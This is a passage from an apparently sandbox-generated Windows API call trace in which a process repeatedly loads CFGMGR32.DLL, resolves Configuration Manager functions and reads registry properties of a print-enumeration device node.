(hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.560] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0220.560] CM_Get_Device_IDA (in: dnDevInst=0x16, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{BF5CF224-19D6-4CE8-BB5A-E42CD3DCE5E3}") returned 0x0 [0220.561] malloc (_Size=0x48) returned 0x196ef0fba40 [0220.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6450ebad, dwHighDateTime=0x1d9eb0c)) [0220.561] SetEvent (hEvent=0x248) returned 1 [0220.564] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.564] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.567] malloc (_Size=0x18) returned 0x196ef0d20e0 [0220.568] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0220.568] malloc (_Size=0xe6) returned 0x196ef0d67b0 [0220.568] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0220.569] free (_Block=0x196ef0d67b0) [0220.569] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0220.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64535237, dwHighDateTime=0x1d9eb0c)) [0220.569] SetEvent (hEvent=0x248) returned 1 [0220.571] malloc (_Size=0x18) returned 0x196ef0d1da0 [0220.571] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0220.571] free (_Block=0x196ef0d1da0) [0220.571] malloc (_Size=0x18) returned 0x196ef0d1be0 [0220.571] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0220.571] free (_Block=0x196ef0d1be0) [0220.572] malloc (_Size=0x18) returned 0x196ef0d20c0 [0220.572] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0220.572] free (_Block=0x196ef0d20c0) [0220.572] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856e60 [0220.572] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0220.572] SafeArrayGetLBound (in: psa=0x196ef1f2930, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0220.572] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0220.572] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0220.572] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0220.572] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0220.572] SafeArrayGetElemsize (psa=0x196ef1f2930) returned 0x8 [0220.572] SafeArrayGetElement (in: psa=0x196ef1f2930, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0220.573] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.573] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.573] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.574] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0220.574] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856e60) returned 1 [0220.574] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.574] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.578] malloc (_Size=0x18) returned 0x196ef0d1e60 [0220.578] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0220.578] malloc (_Size=0x54) returned 0x196ef101220 [0220.578] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef101220, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef101220, pulLength=0x67117d608) returned 0x0 [0220.579] free (_Block=0x196ef101220) [0220.579] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0220.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64535237, dwHighDateTime=0x1d9eb0c)) [0220.579] SetEvent (hEvent=0x248) returned 1 [0220.582] malloc (_Size=0x18) returned 0x196ef0d19c0 [0220.582] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0220.582] free (_Block=0x196ef0d19c0) [0220.582] malloc (_Size=0x18) returned 0x196ef0d1e80 [0220.582] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0220.582] free (_Block=0x196ef0d1e80) [0220.582] malloc (_Size=0x18) returned 0x196ef0d1d80 [0220.582] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0220.582] free (_Block=0x196ef0d1d80) [0220.582] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8563e0 [0220.582] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0220.582] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0220.583] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0220.583] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0220.583] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0220.583] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0220.583] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0220.583] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0220.583] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e450, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.584] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e458, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.584] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e460, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.584] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0220.584] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8563e0) returned 1 [0220.585] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.585] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.585] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.588] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0220.588] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.589] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0220.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6455af40, dwHighDateTime=0x1d9eb0c)) [0220.589] SetEvent (hEvent=0x248) returned 1 [0220.643] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.643] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.644] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.645] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.646] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.646] malloc (_Size=0x18) returned 0x196ef0d2000 [0220.646] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.647] malloc (_Size=0x48) returned 0x196ef0fb950 [0220.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x645f3937, dwHighDateTime=0x1d9eb0c)) [0220.647] SetEvent (hEvent=0x248) returned 1 [0220.652] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.652] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.652] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.653] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.654] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.655] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.656] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.656] malloc (_Size=0x18) returned 0x196ef0d1de0 [0220.656] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.657] malloc (_Size=0x48) returned 0x196ef0fc120 [0220.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x645f3937, dwHighDateTime=0x1d9eb0c)) [0220.657] SetEvent (hEvent=0x248) returned 1 [0220.660] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.660] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.663] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0220.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0220.664] malloc (_Size=0x48) returned 0x196ef0fb630 [0220.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64619abe, dwHighDateTime=0x1d9eb0c)) [0220.664] SetEvent (hEvent=0x248) returned 1 [0220.669] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.669] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", 